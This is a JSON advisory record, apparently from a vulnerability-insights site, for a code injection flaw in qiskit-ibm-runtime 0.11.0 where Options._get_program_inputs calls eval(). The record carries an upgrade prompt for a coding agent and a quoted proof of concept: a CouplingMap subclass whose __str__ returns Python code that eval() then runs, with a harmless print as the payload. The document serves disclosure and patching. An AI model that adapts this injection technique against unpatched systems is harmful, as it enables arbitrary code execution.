{"answers":{"affected":"2 open source packages ship an affected version, including qiskit-ibm-runtime.","exploited":"There is no known exploitation of GHSA-cq96-9974-v8hm in the wild and no public exploit code.","fix":"Upgrade qiskit-ibm-runtime to 0.11.1 or later.","what":"GHSA-cq96-9974-v8hm is a code injection vulnerability in qiskit-ibm-runtime, published on 20 Mar 2024. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-cq96-9974-v8hm and fix it if it is affected.\n\nWhat it is: GHSA-cq96-9974-v8hm is a code injection vulnerability in qiskit-ibm-runtime, published on 20 Mar 2024. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-cq96-9974-v8hm in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- qiskit-ibm-runtime (PyPI): affected from 0.11.0; fixed in 0.11.1\n- qiskit-ibm-runtime (PyPI): affected from 0.11.0; fixed in 0.11.1\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-cq96-9974-v8hm/ (Markdown: https://insights.sbomify.com/GHSA-cq96-9974-v8hm/index.md)","id":"GHSA-cq96-9974-v8hm","markdown":"https://insights.sbomify.com/GHSA-cq96-9974-v8hm/index.md","name":"GHSA-cq96-9974-v8hm","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"IBM Quantum Runtime SDK","requires_auth":"low_privilege","summary":"Arbitrary code execution via eval() in qiskit-ibm-runtime allows attackers to inject malicious Python code through crafted options.","user_interaction":"not_required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nAn `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.\n\n### Details\n\nhttps://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140\n\n### PoC\nA local exploit would be something like\n\n```python\nfrom qiskit import transpiler\n\nclass BadActor(transpiler.CouplingMap):\n    def __str__(self):\n        return \"print('external code')\"\n\n```\n\nWhere `print(\"external code\")` can be any arbitrary python code string.\n\nThen if you did a normal workflow and used a specifically constructed `CouplingMap` subclass like `BadActor` above:\n\n```python\nfrom qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler\nfrom qiskit import QuantumCircuit\n\ncmap = BadActor.from_line(42)\nservice = QiskitRuntimeService()\noptions = Options(optimization_level=1)\noptions.simulator = dict(coupling_map=cmap))\n\nbell = QuantumCircuit(2)\nbell.h(0)\nbell.cx(0, 1)\nbell.measure_all()\n\nwith Session(service=service, backend=\"ibmq_qasm_simulator\") as session:\n    sampler = Sampler(session=session, options=options).run(bell)\n```\n\nThis will print `external code`\n\n### Impact\n\nSecurity vulnerability.","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Dynamic Variable Evaluation in qiskit-ibm-runtime","id":"GHSA-cq96-9974-v8hm","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"code_injection","year":"2024"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["0.11.1"],"introduced":["0.11.0"],"last_affected":[],"package":"qiskit-ibm-runtime","purl":null,"source":"GHSA-cq96-9974-v8hm"},{"ecosystem":"PyPI","fixed":["0.11.1"],"introduced":["0.11.0"],"last_affected":[],"package":"qiskit-ibm-runtime","purl":"pkg:pypi/qiskit-ibm-runtime","source":"GHSA-cq96-9974-v8hm"}],"products":null,"published":"2024-03-20","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Arbitrary code execution via eval() in qiskit-ibm-runtime allows attackers to inject malicious Python code through crafted options.","url":"https://insights.sbomify.com/GHSA-cq96-9974-v8hm/"}